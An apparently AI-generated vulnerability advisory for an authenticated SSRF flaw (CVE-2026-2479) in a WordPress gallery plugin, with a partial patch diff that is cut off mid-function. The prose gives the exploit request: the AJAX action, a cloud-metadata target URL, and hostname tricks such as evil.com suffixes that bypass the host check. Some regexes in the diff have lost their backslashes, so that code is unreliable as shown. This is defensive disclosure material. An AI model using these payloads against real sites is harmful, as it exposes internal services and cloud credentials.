Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2479: Responsive Lightbox & Gallery <= 2.7.1 – Authenticated (Author+) Server-Side Request Forgery via Remote Library Image Upload (responsive-lightbox)

CVE ID CVE-2026-2479
Severity Medium (CVSS 5.0)
CWE 918
Vulnerable Version 2.7.1
Patched Version 2.7.2
Disclosed February 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2479:
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the Responsive Lightbox & Gallery WordPress plugin versions up to 2.7.1. The flaw resides in the remote library image upload functionality, allowing attackers with Author-level permissions or higher to force the application to make HTTP requests to arbitrary internal or external destinations. The CVSS score of 5 reflects the requirement for authenticated access and the limited impact scope.

Atomic Edge research identifies the root cause in the `ajax_upload_image()` function within the `class-remote-library.php` file. The vulnerable code uses `strpos()` for substring-based hostname validation instead of strict host comparison. Specifically, lines 429-447 in the patched version show the original logic: `if ( strpos( $image_host, $host ) !== false )`. This substring matching allows attackers to bypass domain restrictions by using hostnames like `evil-wikimedia.org` or `upload.wikimedia.org.evil.com`, which contain legitimate domain substrings but point to malicious servers. The validation occurs during remote image upload processing triggered via the `rl-upload-image` AJAX action.

Exploitation requires an authenticated attacker with at least Author-level capabilities (`upload_files` permission). The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `rl-upload-image`. The payload includes a `rlnonce` (valid nonce for the `rl-remote-library-upload-image` action), `post_id`, and an `image` array containing a `media_provider` and a malicious `url` parameter. The `url` points to an internal service (like `http://169.254.169.254/latest/meta-data/`) or an external attacker-controlled server, with the hostname crafted to bypass substring validation (e.g., `http://metadata.google.internal.wikimedia.org/`). The plugin then fetches this URL, enabling SSRF.

The patch replaces substring matching with strict host validation. The updated code in `class-remote-library.php` lines 429-447 normalizes hostnames to lowercase and performs exact domain matching or valid subdomain validation using `substr( $image_host, -( strlen( $host ) + 1 ) ) === ‘.’ . $host`. This ensures `evil-wikimedia.org` no longer matches the allowed host `wikimedia.org`. The patch also adds rate limiting via `Responsive_Lightbox()->check_rate_limit()` and replaces `wp_remote_head()` with `wp_safe_remote_head()` for additional SSRF protection. These changes prevent hostname bypass techniques while maintaining functionality for legitimate subdomains like `upload.wikimedia.org`.

Successful exploitation allows attackers to interact with internal services accessible from the web server, including cloud metadata endpoints, database administration interfaces, and internal APIs. This can lead to sensitive information disclosure, internal network reconnaissance, and potential further attacks against backend systems. While the vulnerability requires Author-level access, compromised accounts or social engineering could provide this foothold. The SSRF capability enables attackers to bypass network security controls and interact with systems that would otherwise be inaccessible from external networks.

Differential between vulnerable and patched code

Code Diff
--- a/responsive-lightbox/includes/class-folders.php
+++ b/responsive-lightbox/includes/class-folders.php
@@ -68,6 +68,8 @@
 		add_action( 'wp_ajax_rl-folders-add-term', [ $this, 'add_term' ] );
 		add_action( 'wp_ajax_rl-folders-move-term', [ $this, 'move_term' ] );
 		add_action( 'wp_ajax_rl-folders-move-attachments', [ $this, 'move_attachments' ] );
+		add_action( 'wp_ajax_rl-folders-get-counters', [ $this, 'get_counters' ] );
+		add_action( 'wp_ajax_rl-folders-select-term', [ $this, 'select_term' ] );

 		// filters
 		add_filter( 'admin_body_class', [ $this, 'admin_body_class' ] );
@@ -375,6 +377,9 @@
 		if ( $pagenow === 'upload.php' ) {
 			// append class
 			$classes .= ' rl-folders-upload-' . $this->mode . '-mode';
+
+			// pending state until jsTree hydrates the server-rendered shell
+			$classes .= ' rl-folders-root-pending';
 		}

 		return $classes;
@@ -563,7 +568,23 @@
 		// get active taxonomy
 		$taxonomy = $this->get_active_taxonomy();

-		if ( $pagenow === 'upload.php' && isset( $_GET[$taxonomy] ) ) {
+		if ( $pagenow === 'upload.php' ) {
+			// explicit URL filter has priority; fall back to stored user preference
+			if ( isset( $_GET[$taxonomy] ) ) {
+				$term_id = (int) $_GET[$taxonomy];
+			} else {
+				$stored = get_user_option( 'rl_folders_selected_term' );
+
+				if ( $stored === false || $stored === '' || $stored === 'all' )
+					return $query;
+
+				$term_id = (int) $stored;
+
+				// JS stores root folder as '0'; parse_query uses -1
+				if ( $term_id === 0 )
+					$term_id = -1;
+			}
+
 			// get tax query
 			$tax_query = $query->get( 'tax_query' );

@@ -571,7 +592,6 @@
 				$tax_query = [];

 			// -1 === root, 0 === all files, >0 === term_id
-			$term_id = (int) $_GET[$taxonomy];

 			if ( $term_id !== 0 && ( $query->is_main_query() || empty( $query->query['rl_folders_root'] ) ) ) {
 				$tax = [
@@ -611,6 +631,7 @@
 		// get active taxonomy
 		$taxonomy = $this->get_active_taxonomy();

+		// explicit filter in POST has priority; fall back to stored user preference
 		if ( isset( $_POST['query'][$taxonomy] ) ) {
 			$term_id = sanitize_key( $_POST['query'][$taxonomy] );

@@ -621,22 +642,33 @@

 			if ( $term_id < 0 )
 				return $query;
+		} else {
+			// no filter sent -- apply stored user preference for the initial grid query
+			$stored = get_user_option( 'rl_folders_selected_term' );

-			if ( empty( $query['tax_query'] ) || ! is_array( $query['tax_query'] ) )
-				$query['tax_query'] = [];
+			if ( $stored === false || $stored === '' || $stored === 'all' )
+				return $query;

-			$query['tax_query'][] = [
-				'relation' => 'AND',
-				[
-					'taxonomy'			=> $taxonomy,
-					'field'				=> 'id',
-					'terms'				=> $term_id,
-					'include_children'	=> ( ! ( isset( $_POST['query']['include_children'] ) && $_POST['query']['include_children'] === 'false' ) ),
-					'operator'		 	=> ( $term_id === 0 ? 'NOT EXISTS' : 'IN' )
-				]
-			];
+			$term_id = (int) $stored;
+
+			if ( $term_id < 0 )
+				return $query;
 		}

+		if ( empty( $query['tax_query'] ) || ! is_array( $query['tax_query'] ) )
+			$query['tax_query'] = [];
+
+		$query['tax_query'][] = [
+			'relation' => 'AND',
+			[
+				'taxonomy'			=> $taxonomy,
+				'field'				=> 'id',
+				'terms'				=> $term_id,
+				'include_children'	=> ( ! ( isset( $_POST['query']['include_children'] ) && $_POST['query']['include_children'] === 'false' ) ),
+				'operator'		 	=> ( $term_id === 0 ? 'NOT EXISTS' : 'IN' )
+			]
+		];
+
 		return $query;
 	}

@@ -821,6 +853,11 @@
 	 * @return void
 	 */
 	public function delete_term() {
+		// check rate limiting (30 requests per minute for destructive operations)
+		if ( ! Responsive_Lightbox()->check_rate_limit( 'rl_delete_term', 30, 60 ) ) {
+			wp_send_json_error( __( 'Rate limit exceeded. Please try again later.', 'responsive-lightbox' ) );
+		}
+
 		// no data?
 		if ( ! isset( $_POST['term_id'], $_POST['nonce'], $_POST['children'] ) )
 			wp_send_json_error();
@@ -1097,6 +1134,143 @@
 	}

 	/**
+	 * AJAX action to get fresh tree counters.
+	 *
+	 * @return void
+	 */
+	public function get_counters() {
+		global $wpdb;
+
+		// invalid capability?
+		if ( ! current_user_can( 'upload_files' ) )
+			wp_send_json_error();
+
+		// invalid nonce?
+		if ( ! isset( $_POST['nonce'] ) || ! ctype_alnum( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'rl-folders-ajax-library-nonce' ) )
+			wp_send_json_error();
+
+		// get active taxonomy
+		$taxonomy = $this->get_active_taxonomy();
+
+		// taxonomy does not exist?
+		if ( ! taxonomy_exists( $taxonomy ) )
+			wp_send_json_error();
+
+		$counter_statuses = apply_filters( 'rl_folders_counter_post_statuses', [ 'inherit' ], $taxonomy );
+		$counter_statuses = array_values(
+			array_filter(
+				array_map( 'sanitize_key', (array) $counter_statuses ),
+				static function( $status ) {
+					return $status !== '';
+				}
+			)
+		);
+
+		if ( empty( $counter_statuses ) )
+			$counter_statuses = [ 'inherit' ];
+
+		$counters = [
+			'all' => (int) apply_filters( 'rl_count_attachments', 0 ),
+			'0' => 0
+		];
+
+		$term_ids = get_terms(
+			[
+				'taxonomy' => $taxonomy,
+				'hide_empty' => false,
+				'fields' => 'ids'
+			]
+		);
+
+		if ( ! is_wp_error( $term_ids ) && ! empty( $term_ids ) ) {
+			foreach ( $term_ids as $term_id ) {
+				$counters[(string) (int) $term_id] = 0;
+			}
+		}
+
+		$status_placeholders = implode( ', ', array_fill( 0, count( $counter_statuses ), '%s' ) );
+		$query_values = $counter_statuses;
+		$query_values[] = $taxonomy;
+
+		$term_counts = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT tt.term_id AS term_id, COUNT(DISTINCT p.ID) AS term_count
+				FROM {$wpdb->posts} p
+				INNER JOIN {$wpdb->term_relationships} tr ON tr.object_id = p.ID
+				INNER JOIN {$wpdb->term_taxonomy} tt ON tt.term_taxonomy_id = tr.term_taxonomy_id
+				WHERE p.post_type = 'attachment'
+					AND p.post_status IN (" . $status_placeholders . ")
+					AND tt.taxonomy = %s
+				GROUP BY tt.term_id",
+				$query_values
+			),
+			ARRAY_A
+		);
+
+		if ( ! empty( $term_counts ) ) {
+			foreach ( $term_counts as $term_count ) {
+				$term_id = isset( $term_count['term_id'] ) ? (int) $term_count['term_id'] : 0;
+
+				if ( $term_id > 0 )
+					$counters[(string) $term_id] = isset( $term_count['term_count'] ) ? (int) $term_count['term_count'] : 0;
+			}
+		}
+
+		// root folder query (attachments without any folder term assigned)
+		$root_query = new WP_Query(
+			apply_filters(
+				'rl_root_folder_query_args',
+				[
+					'rl_folders_root' => true,
+					'posts_per_page' => 1,
+					'post_type' => 'attachment',
+					'post_status' => $counter_statuses,
+					'fields' => 'ids',
+					'no_found_rows' => false,
+					'tax_query' => [
+						[
+							'relation' => 'AND',
+							[
+								'taxonomy' => $taxonomy,
+								'field' => 'id',
+								'terms' => 0,
+								'include_children' => false,
+								'operator' => 'NOT EXISTS'
+							]
+						]
+					]
+				]
+			)
+		);
+
+		$counters['0'] = (int) $root_query->found_posts;
+
+		wp_send_json_success(
+			[
+				'counters' => $counters
+			]
+		);
+	}
+
+	/**
+	 * Persist selected folder term as user option via AJAX.
+	 *
+	 * @return void
+	 */
+	public function select_term() {
+		check_ajax_referer( 'rl-folders-ajax-library-nonce', 'nonce' );
+
+		if ( ! current_user_can( 'upload_files' ) )
+			wp_send_json_error( 'No permission.' );
+
+		$term_id = isset( $_POST['term_id'] ) ? sanitize_key( $_POST['term_id'] ) : 'all';
+
+		update_user_option( get_current_user_id(), 'rl_folders_selected_term', $term_id );
+
+		wp_send_json_success();
+	}
+
+	/**
 	 * Change wp_list_categories HTML link.
 	 *
 	 * @param array $matches Matched elements
@@ -1221,7 +1395,9 @@
 		// create folder counters
 		$counters = [];

-		if ( $page !== 'media' ) {
+		// Only load full tree/jsTree for upload.php (not media-new.php or media modal)
+		// media-new.php needs only the upload destination dropdown functionality
+		if ( $page === 'upload.php' ) {
 			// prepare variables
 			$no_items = '';
 			$childless = false;
@@ -1287,8 +1463,21 @@
 				'echo'					=> false
 			];

-			// get current term id
-			$term_id = isset( $_GET[$taxonomy->name] ) ? (int) $_GET[$taxonomy->name] : 0;
+			// get current term id: explicit URL filter > stored user preference > default (all)
+			if ( isset( $_GET[$taxonomy->name] ) ) {
+				$term_id = (int) $_GET[$taxonomy->name];
+			} else {
+				$stored_term = get_user_option( 'rl_folders_selected_term' );
+
+				if ( $stored_term !== false && $stored_term !== '' && $stored_term !== 'all' ) {
+					$term_id = (int) $stored_term;
+
+					// JS stores root folder as '0'; PHP tree uses -1
+					if ( $term_id === 0 )
+						$term_id = -1;
+				} else
+					$term_id = 0;
+			}

 			// list mode?
 			if ( $this->mode === 'list' ) {
@@ -1413,6 +1602,13 @@

 		wp_enqueue_script( 'responsive-lightbox-folders-admin', RESPONSIVE_LIGHTBOX_URL . '/js/admin-folders.js', $dependencies, $rl->defaults['version'], false );

+		$is_upload_screen = ( $page === 'upload.php' );
+		$sidebar_width_default = 272;
+		$sidebar_width_min = 220;
+		$sidebar_width_max = 420;
+		$sidebar_width_collapsed = 0;
+
+		// Minimal script data for media modal
 		if ( $page === 'media' ) {
 			// prepare script data
 			$script_data = [
@@ -1435,6 +1631,29 @@
 					]
 				)
 			];
+		} elseif ( $page === 'media-new.php' ) {
+			// Minimal script data for media-new.php - only needs upload destination sync
+			// No tree/jsTree needed, just page flag for JS to skip initialization
+			$script_data = [
+				'taxonomy'	=> $taxonomy->name,
+				'page'		=> $page,
+				'root'		=> esc_html__( 'Root Folder', 'responsive-lightbox' ),
+				'terms'		=> wp_dropdown_categories(
+					[
+						'orderby'			=> 'name',
+						'order'				=> 'asc',
+						'show_option_all'	=> esc_html__( 'All Files', 'responsive-lightbox' ),
+						'show_count'		=> false,
+						'hide_empty'		=> false,
+						'hierarchical'		=> true,
+						'selected'			=> 0,
+						'name'				=> $taxonomy->name,
+						'taxonomy'			=> $taxonomy->name,
+						'hide_if_empty'		=> true,
+						'echo'				=> false
+					]
+				)
+			];
 		} else {
 			// prepare script data
 			$script_data = [
@@ -1445,6 +1664,7 @@
 				'no_media_items'	=> $no_items,
 				'taxonomy'			=> $taxonomy->name,
 				'page'				=> $page,
+				'mode'				=> $this->mode,
 				'root'				=> esc_html__( 'Root Folder', 'responsive-lightbox' ),
 				'all_terms'			=> esc_html__( 'All Files', 'responsive-lightbox' ),
 				'new_folder'		=> esc_html__( 'New Folder', 'responsive-lightbox' ),
@@ -1470,7 +1690,7 @@
 					<div id="rl-folders-tree-container">
 						<div class="media-toolbar wp-filter">
 							<div class="view-switch rl-folders-action-links">
-								<a href="#" title="' . esc_attr( $taxonomy->labels->add_new_item ) . '" class="dashicons dashicons-plus rl-folders-add-new-folder' . ( $this->mode === 'list' && ( $term_id === -1 || $term_id > 0 ) ? '' : ' disabled-link' ) . '"></a>
+								<a href="#" title="' . esc_attr( $taxonomy->labels->add_new_item ) . '" class="dashicons dashicons-plus rl-folders-add-new-folder"></a>
 								<a href="#" title="' . esc_attr( sprintf( __( 'Save new %s', 'responsive-lightbox' ), $taxonomy->labels->singular_name ) ) . '" class="dashicons dashicons-yes rl-folders-save-new-folder" style="display: none;"></a>
 								<a href="#" title="' . esc_attr( sprintf( __( 'Cancel adding new %s', 'responsive-lightbox' ), $taxonomy->labels->singular_name ) ) . '" class="dashicons dashicons-no rl-folders-cancel-new-folder" style="display: none;"></a>
 								<a href="#" title="' . esc_attr( $taxonomy->labels->edit_item ) . '" class="dashicons dashicons-edit rl-folders-rename-folder' . ( $this->mode === 'list' && $term_id > 0 ? '' : ' disabled-link' ) . '"></a>
@@ -1486,6 +1706,43 @@
 			];
 		}

+		if ( $is_upload_screen && isset( $script_data['template'] ) ) {
+			$script_data['template'] = '
+				<div id="rl-folders-tree-root">
+					<div id="rl-folders-tree-shell" class="rl-folders-tree-shell">
+						<div class="rl-folders-tree-header">
+							<span class="rl-folders-tree-title">' . esc_html__( 'Media Folders', 'responsive-lightbox' ) . '</span>
+							<button type="button" class="button button-secondary rl-folders-header-add-new-folder">' . esc_html__( 'New Folder', 'responsive-lightbox' ) . '</button>
+						</div>
+						<div class="rl-folders-tree-viewport">
+							<div class="rl-folders-tree-viewport-inner">' . $script_data['template'] . '</div>
+							<span class="rl-folders-tree-cover" aria-hidden="true"></span>
+						</div>
+					</div>
+					<div class="rl-folders-sidebar-separator" role="separator" aria-label="' . esc_attr__( 'Resize folders sidebar', 'responsive-lightbox' ) . '" aria-orientation="vertical" tabindex="0" aria-valuemin="' . esc_attr( $sidebar_width_min ) . '" aria-valuemax="' . esc_attr( $sidebar_width_max ) . '" aria-valuenow="' . esc_attr( $sidebar_width_default ) . '">
+						<button type="button" class="button-link rl-folders-sidebar-toggle" aria-expanded="true" aria-controls="rl-folders-tree-shell" title="' . esc_attr__( 'Toggle folders sidebar', 'responsive-lightbox' ) . '">
+							<span class="dashicons dashicons-menu-alt2" aria-hidden="true"></span>
+							<span class="screen-reader-text">' . esc_html__( 'Toggle folders sidebar', 'responsive-lightbox' ) . '</span>
+						</button>
+					</div>
+				</div>';
+		}
+
+		$script_data['sidebar_width_default'] = $sidebar_width_default;
+		$script_data['sidebar_width_min'] = $sidebar_width_min;
+		$script_data['sidebar_width_max'] = $sidebar_width_max;
+		$script_data['sidebar_width_collapsed'] = $sidebar_width_collapsed;
+
+		// pass resolved selected term to JS (uses $term_id already resolved from URL > stored > default)
+		if ( $is_upload_screen ) {
+			if ( $term_id === 0 )
+				$script_data['selected_term'] = 'all';
+			elseif ( $term_id === -1 )
+				$script_data['selected_term'] = '0';
+			else
+				$script_data['selected_term'] = (string) $term_id;
+		}
+
 		wp_add_inline_script( 'responsive-lightbox-folders-admin', 'var rlFoldersArgs = ' . wp_json_encode( $script_data ) . ";n", 'before' );

 		add_action( 'admin_print_styles', [ $this, 'admin_print_media_styles' ] );
--- a/responsive-lightbox/includes/class-frontend.php
+++ b/responsive-lightbox/includes/class-frontend.php
@@ -279,12 +279,12 @@
 			if ( preg_match( '/<a[^>]*?bdata-rel=(["'])(.*?)1[^>]*?>/is', $link, $result ) === 1 ) {
 				// allow to modify link?
 				if ( $result[2] !== 'norl' ) {
-					// gallery?
-					if ( $args['settings']['plugin']['images_as_gallery'] || $args['settings']['plugin']['force_custom_gallery'] )
-						$link = preg_replace( '/bdata-rel=(["'])(.*?)1/s', 'data-rel="' . esc_attr( $args['selector'] ) . '-gallery-' . esc_attr( base64_encode( $result[2] ) ) . '" data-rl_title="__RL_IMAGE_TITLE__" data-rl_caption="__RL_IMAGE_CAPTION__"' . ( $args['script'] === 'magnific' ? ' data-magnific_type="gallery"' : '' ) . ( $args['script'] === 'imagelightbox' ? ' data-imagelightbox="' . (int) $args['link_number'] . '"' : '' ), $link, 1 );
-					// single image
-					else
-						$link = preg_replace( '/bdata-rel=(["'])(.*?)1/s', 'data-rel="' . esc_attr( $args['selector'] ) . '-image-' . esc_attr( base64_encode( $result[2] ) ) . '"' . ( $args['script'] === 'magnific' ? ' data-magnific_type="image"' : '' ) . ( $args['script'] === 'imagelightbox' ? ' data-imagelightbox="' . (int) $args['link_number'] . '"' : '' ) . ' data-rl_title="__RL_IMAGE_TITLE__" data-rl_caption="__RL_IMAGE_CAPTION__"', $link, 1 );
+				// gallery?
+					if ( $args['settings']['plugin']['images_as_gallery'] || $args['settings']['plugin']['force_custom_gallery'] )
+						$link = preg_replace( '/bdata-rel=(["'])(.*?)1/s', 'data-rel="' . esc_attr( $args['selector'] ) . '-gallery-' . esc_attr( base64_encode( sanitize_text_field( $result[2] ) ) ) . '" data-rl_title="__RL_IMAGE_TITLE__" data-rl_caption="__RL_IMAGE_CAPTION__"' . ( $args['script'] === 'magnific' ? ' data-magnific_type="gallery"' : '' ) . ( $args['script'] === 'imagelightbox' ? ' data-imagelightbox="' . (int) $args['link_number'] . '"' : '' ), $link, 1 );
+					// single image
+					else
+						$link = preg_replace( '/bdata-rel=(["'])(.*?)1/s', 'data-rel="' . esc_attr( $args['selector'] ) . '-image-' . esc_attr( base64_encode( sanitize_text_field( $result[2] ) ) ) . '"' . ( $args['script'] === 'magnific' ? ' data-magnific_type="image"' : '' ) . ( $args['script'] === 'imagelightbox' ? ' data-imagelightbox="' . (int) $args['link_number'] . '"' : '' ) . ' data-rl_title="__RL_IMAGE_TITLE__" data-rl_caption="__RL_IMAGE_CAPTION__"', $link, 1 );
 				}
 			// link without data-rel
 			} else {
@@ -813,9 +813,9 @@
 		} else {
 			$ids = [];

-			if ( ! empty( $shortcode_atts['include'] ) ) {
-				// Normalize input from shortcode strings and widget/programmatic array payloads.
-				$include = wp_parse_id_list( $shortcode_atts['include'] );
+			if ( ! empty( $shortcode_atts['include'] ) ) {
+				// Normalize input from shortcode strings and widget/programmatic array payloads.
+				$include = wp_parse_id_list( $shortcode_atts['include'] );

 				// any attachments?
 				if ( ! empty( $include ) ) {
@@ -832,9 +832,9 @@
 						]
 					);
 				}
-			} elseif ( ! empty( $shortcode_atts['exclude'] ) ) {
-				// Normalize input from shortcode strings and widget/programmatic array payloads.
-				$exclude = wp_parse_id_list( $shortcode_atts['exclude'] );
+			} elseif ( ! empty( $shortcode_atts['exclude'] ) ) {
+				// Normalize input from shortcode strings and widget/programmatic array payloads.
+				$exclude = wp_parse_id_list( $shortcode_atts['exclude'] );

 				// any attachments?
 				if ( ! empty( $exclude ) ) {
@@ -1078,13 +1078,13 @@
 						if ( $result[2] === 'norl' )
 							continue;

-						$content = str_replace( $link, preg_replace( '/bdata-rel=(["'])(.*?)1/', 'data-rel="' . esc_attr( $rl->options['settings']['selector'] ) . '-gallery-' . esc_attr( base64_encode( $result[2] ) ) . '" data-rl_title="' . esc_attr( $title ) . '" data-rl_caption="' . esc_attr( $caption ) . '"' . ( $script === 'imagelightbox' ? ' data-imagelightbox="' . (int) $link_number . '"' : '' ), $link, 1 ), $content );
-					} elseif ( preg_match( '/<a[^>]*?brel=(["'])(.*?)1[^>]*?>/i', $link, $result ) === 1 ) {
-						// do not modify this link
-						if ( $result[2] === 'norl' )
-							continue;
-
-						$content = str_replace( $link, preg_replace( '/brel=(["'])(.*?)1/', 'data-rel="' . esc_attr( $rl->options['settings']['selector'] ) . '-gallery-' . esc_attr( base64_encode( $result[2] ) ) . '" data-rl_title="' . esc_attr( $title ) . '" data-rl_caption="' . esc_attr( $caption ) . '"' . ( $script === 'imagelightbox' ? ' data-imagelightbox="' . (int) $link_number . '"' : '' ), $link, 1 ), $content );
+						$content = str_replace( $link, preg_replace( '/bdata-rel=(["'])(.*?)1/', 'data-rel="' . esc_attr( $rl->options['settings']['selector'] ) . '-gallery-' . esc_attr( base64_encode( sanitize_text_field( $result[2] ) ) ) . '" data-rl_title="' . esc_attr( $title ) . '" data-rl_caption="' . esc_attr( $caption ) . '"' . ( $script === 'imagelightbox' ? ' data-imagelightbox="' . (int) $link_number . '"' : '' ), $link, 1 ), $content );
+					} elseif ( preg_match( '/<a[^>]*?brel=(["'])(.*?)1[^>]*?>/i', $link, $result ) === 1 ) {
+						// do not modify this link
+						if ( $result[2] === 'norl' )
+							continue;
+
+						$content = str_replace( $link, preg_replace( '/brel=(["'])(.*?)1/', 'data-rel="' . esc_attr( $rl->options['settings']['selector'] ) . '-gallery-' . esc_attr( base64_encode( sanitize_text_field( $result[2] ) ) ) . '" data-rl_title="' . esc_attr( $title ) . '" data-rl_caption="' . esc_attr( $caption ) . '"' . ( $script === 'imagelightbox' ? ' data-imagelightbox="' . (int) $link_number . '"' : '' ), $link, 1 ), $content );
 					} else
 						$content = str_replace( $link, '<a' . $links[1][$link_number] . ' href="' . $links[3][$link_number] . '.' . $links[4][$link_number] . '" data-rel="' . esc_attr( $rl->options['settings']['selector'] ) . '-gallery-' . esc_attr( base64_encode( $this->gallery_no ) ) . '" data-rl_title="' . esc_attr( $title ) . '" data-rl_caption="' . esc_attr( $caption ) . '"' . ( $script === 'imagelightbox' ? ' data-imagelightbox="' . (int) $link_number . '"' : '' ) . $links[5][$link_number] . '>', $content );
 				}
@@ -1762,9 +1762,9 @@
 	 * @param id $widget_id
 	 * @return string
 	 */
-	public function widget_output( $content, $widget_id_base, $widget_id ) {
-		return $this->add_lightbox( $content );
-	}
+	public function widget_output( $content, $widget_id_base, $widget_id ) {
+		return wp_kses( $this->add_lightbox( $content ), $this->get_comment_lightbox_allowed_html() );
+	}

 	/**
 	 * Get allowed HTML tags/attributes for filtered comment content.
@@ -2042,10 +2042,10 @@

 			<div class="rl-gallery rl-basicgrid-gallery <?php echo esc_attr( $atts['class'] ); ?>" id="rl-gallery-<?php echo (int) $gallery_no; ?>" data-gallery_no="<?php echo (int) $gallery_no; ?>">

-			<?php foreach ( $images as $image ) {
-				// $image['link'] is already escaped
-				echo '<div class="rl-gallery-item">' . $image['link'] . '</div>';
-			} ?>
+			<?php foreach ( $images as $image ) {
+				// $image['link'] is already escaped via get_gallery_image_link(), but we apply wp_kses_post() for defense-in-depth
+				echo '<div class="rl-gallery-item">' . wp_kses_post( $image['link'] ) . '</div>';
+			} ?>

 			</div>

@@ -2257,12 +2257,12 @@
 			<div class="rl-gallery rl-basicslider-gallery splide__track <?php echo esc_attr( $atts['class'] ); ?>" id="rl-gallery-<?php echo (int) $gallery_no; ?>" data-gallery_no="<?php echo (int) $gallery_no; ?>">
 				<ul class="splide__list">

-				<?php foreach ( $images as $image ) {
-					echo '
-					<li class="rl-gallery-item splide__slide" ' . implode( ' ', apply_filters( 'rl_gallery_item_extra_args', [], $atts, $image ) ) . ' data-thumb="' . $image['thumbnail_url'] . '">
-						' . $image['link'] . '
-					</li>';
-				} ?>
+				<?php foreach ( $images as $image ) {
+					echo '
+					<li class="rl-gallery-item splide__slide" ' . implode( ' ', apply_filters( 'rl_gallery_item_extra_args', [], $atts, $image ) ) . ' data-thumb="' . $image['thumbnail_url'] . '">
+						' . wp_kses_post( $image['link'] ) . '
+					</li>';
+				} ?>

 				</ul>
 			</div>
@@ -2486,17 +2486,17 @@
 			if ( $count === 0 )
 				echo '<div class="rl-gutter-sizer"></div><div class="rl-grid-sizer"></div>';

-			foreach ( $images as $image ) {
-				// $image['link'] is already escaped
-				echo '
-				<div class="rl-gallery-item' . ( $count === 0 ? ' rl-gallery-item-width-4' : '' ) . '" ' . implode( ' ', apply_filters( 'rl_gallery_item_extra_args', [], $atts, $image ) ) . '>
-					<div class="rl-gallery-item-content">
-						' . $image['link'] . '
-					</div>
-				</div>';
-
-				$count++;
-			} ?>
+			foreach ( $images as $image ) {
+				// $image['link'] is already escaped via get_gallery_image_link(), but we apply wp_kses_post() for defense-in-depth
+				echo '
+				<div class="rl-gallery-item' . ( $count === 0 ? ' rl-gallery-item-width-4' : '' ) . '" ' . implode( ' ', apply_filters( 'rl_gallery_item_extra_args', [], $atts, $image ) ) . '>
+					<div class="rl-gallery-item-content">
+						' . wp_kses_post( $image['link'] ) . '
+					</div>
+				</div>';
+
+				$count++;
+			} ?>

 			</div>

--- a/responsive-lightbox/includes/class-remote-library.php
+++ b/responsive-lightbox/includes/class-remote-library.php
@@ -293,16 +293,21 @@
 	 *
 	 * @return void
 	 */
-	public function ajax_query_media() {
-		$data = stripslashes_deep( $_POST );
-
-		// check user capabilities
-		if ( ! current_user_can( 'upload_files' ) )
-			wp_send_json_error( esc_html__( 'Insufficient permissions.', 'responsive-lightbox' ) );
-
-		// verify nonce
-		if ( ! isset( $data['nonce'] ) || ! wp_verify_nonce( $data['nonce'], 'rl-remote-library-query' ) )
-			wp_send_json_error( esc_html__( 'Invalid nonce.', 'responsive-lightbox' ) );
+	public function ajax_query_media() {
+		$data = stripslashes_deep( $_POST );
+
+		// check rate limiting (30 queries per minute to prevent API abuse)
+		if ( ! Responsive_Lightbox()->check_rate_limit( 'rl_ajax_query_media', 30, 60 ) ) {
+			wp_send_json_error( esc_html__( 'Rate limit exceeded. Please try again later.', 'responsive-lightbox' ) );
+		}
+
+		// check user capabilities
+		if ( ! current_user_can( 'upload_files' ) )
+			wp_send_json_error( esc_html__( 'Insufficient permissions.', 'responsive-lightbox' ) );
+
+		// verify nonce
+		if ( ! isset( $data['nonce'] ) || ! wp_verify_nonce( $data['nonce'], 'rl-remote-library-query' ) )
+			wp_send_json_error( esc_html__( 'Invalid nonce.', 'responsive-lightbox' ) );

 		$results = [
 			'last'		=> false,
@@ -391,17 +396,24 @@
 			'message'	=> ''
 		];

-		// verified upload?
-		if ( current_user_can( 'upload_files' ) && isset( $data['rlnonce'], $data['image'], $data['post_id'] ) && wp_verify_nonce( $data['rlnonce'], 'rl-remote-library-upload-image' ) ) {
-			// include required files if needed
-			if ( ! function_exists( 'media_handle_upload' ) )
-				require_once( path_join( ABSPATH, 'wp-admin/includes/media.php' ) );
-
-			if ( ! function_exists( 'wp_handle_upload' ) )
-				require_once( path_join( ABSPATH, 'wp-admin/includes/file.php' ) );
-
-			// get media provider
-			$media_provider = ! empty( $data['image']['media_provider'] ) ? sanitize_key( $data['image']['media_provider'] ) : '';
+		// verified upload?
+		if ( current_user_can( 'upload_files' ) && isset( $data['rlnonce'], $data['image'], $data['post_id'] ) && wp_verify_nonce( $data['rlnonce'], 'rl-remote-library-upload-image' ) ) {
+			// check rate limiting (10 uploads per minute)
+			if ( ! Responsive_Lightbox()->check_rate_limit( 'rl_upload_image', 10, 60 ) ) {
+				$result['error'] = true;
+				$result['message'] = __( 'Rate limit exceeded. Please try again later.', 'responsive-lightbox' );
+				wp_send_json( $result );
+			}
+
+			// include required files if needed
+			if ( ! function_exists( 'media_handle_upload' ) )
+				require_once( path_join( ABSPATH, 'wp-admin/includes/media.php' ) );
+
+			if ( ! function_exists( 'wp_handle_upload' ) )
+				require_once( path_join( ABSPATH, 'wp-admin/includes/file.php' ) );
+
+			// get media provider
+			$media_provider = ! empty( $data['image']['media_provider'] ) ? sanitize_key( $data['image']['media_provider'] ) : '';

 			// get active providers
 			$providers = $this->get_active_providers();
@@ -417,31 +429,44 @@
 					// get allowed hosts
 					$hosts = $this->get_allowed_hosts( $media_provider );

-					if ( ! empty( $hosts ) ) {
-						$valid_host = false;
-
-						// get image host
-						$image_host = parse_url( $image_url, PHP_URL_HOST );
-
-						// check allowed hosts
-						foreach ( $hosts as $host ) {
-							// invalid host?
-							if ( strpos( $image_host, $host ) !== false ) {
-								$valid_host = true;
-
-								// no need to check rest of the hosts
-								break;
-							}
-						}
-					} else
-						$valid_host = true;
-
-					if ( $valid_host ) {
+					$valid_host = false;
+
+					if ( ! empty( $hosts ) ) {
+						// get image host
+						$image_host = parse_url( $image_url, PHP_URL_HOST );
+
+						// validate that we got a valid hostname
+						if ( ! is_string( $image_host ) || $image_host === '' ) {
+							$result['error'] = true;
+							$result['message'] = __( 'Invalid image URL.', 'responsive-lightbox' );
+						} else {
+							// normalize hostname to lowercase for case-insensitive comparison
+							$image_host = strtolower( $image_host );
+
+							// check allowed hosts - strict validation to prevent SSRF bypasses
+							foreach ( $hosts as $host ) {
+								$host = strtolower( $host );
+
+								// Validate exact match or valid subdomain (e.g., upload.wikimedia.org matches wikimedia.org)
